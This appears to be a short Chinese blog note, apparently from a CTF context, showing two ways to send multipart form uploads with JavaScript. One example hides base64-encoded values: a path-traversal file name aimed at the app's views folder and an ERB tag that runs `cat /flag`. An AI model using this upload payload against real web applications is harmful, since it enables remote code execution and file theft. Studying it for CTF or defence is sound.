1.用h5对象上传表单（图片）
???var formData = new FormData(); ???formData.append("authenticity_token", ‘1212121212‘); ???formData.append("file[context]", "zxcvxzcvxzcv"); ???var content = ‘PCU9IGBjYXQgL2ZsYWcgYCAlPg==‘; ??//这是文件内容的base64 ???var blob = new Blob([content], { type: "image/png"}); ???formData.append("file[myfile]", blob,"Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"); ?//这里是文件名的base64 ???formData.append("commit", ‘submit‘); ???var request = new XMLHttpRequest(); ???request.open("POST", "https://xz.aliyun.com/t/3245"); ???request.send(formData);请求体
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2Content-Disposition: form-data; name="authenticity_token"1212121212------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2Content-Disposition: form-data; name="file[context]"zxcvxzcvxzcv------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2Content-Disposition: form-data; name="file[myfile]"; filename="Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"Content-Type: image/pngPCU9IGBjYXQgL2ZsYWcgYCAlPg==------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2Content-Disposition: form-data; name="commit"submit------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2--
1.用h5对象上传表单（txt）
???var formData = new FormData(); ???var content = ‘testestestes‘; ??//这是文件内容的base64 ???var blob = new Blob([content], { type: "text/plain"}); ???formData.append("file[myfile]", blob,"haha.txt"); ?//这里是文件名的base64 ???formData.append("commit", ‘submit‘); ???var request = new XMLHttpRequest(); ???request.open("POST", "https://xz.aliyun.com/t/3245"); ???request.send(formData);请求体
------WebKitFormBoundaryFcFYtbPnXsiq8yjIContent-Disposition: form-data; name="file[myfile]"; filename="haha.txt"Content-Type: text/plaintestestestes------WebKitFormBoundaryFcFYtbPnXsiq8yjIContent-Disposition: form-data; name="commit"submit------WebKitFormBoundaryFcFYtbPnXsiq8yjI--
2.使用原生js上传表单数据
通过余弦这个网站辅助生成表单
xhr = function(){ ?/*AJAX*/ ?var request = false; ?if(window.XMLHttpRequest) { ???request = new XMLHttpRequest(); ?} else if(window.ActiveXObject) { ???try { ?????request = new window.ActiveXObject(‘Microsoft.XMLHTTP‘); ???} catch(e) {} ?} ?return request;}();request = function(method,src,argv,content_type){ ?xhr.open(method,src,false); ?if(method==‘POST‘)xhr.setRequestHeader(‘Content-Type‘,content_type); ?xhr.send(argv); ?return xhr.responseText;}attack_a = function(){ ?var src = "https://xz.aliyun.com"; ?var authenticity_token = "1212121212"; ?var file = "zxcvxzcvxzcv"; ?var argv_0 = "\r\n"; ?argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"authenticity_token\"\r\n\r\n"; ?argv_0 += (authenticity_token+"\r\n"); ?argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"file\"\r\n\r\n"; ?argv_0 += (file+"\r\n"); ?argv_0 += "---------------------7964f8dddeb95fc5--\r\n"; ?request("POST",src,argv_0,"multipart/form-data; boundary=-------------------7964f8dddeb95fc5");}请求体：
---------------------7964f8dddeb95fc5Content-Disposition: form-data; name="authenticity_token"1212121212---------------------7964f8dddeb95fc5Content-Disposition: form-data; name="file"zxcvxzcvxzcv---------------------7964f8dddeb95fc5--
ajax上传表单的俩种方式
原文地址：https://www.cnblogs.com/afanti/p/9949593.html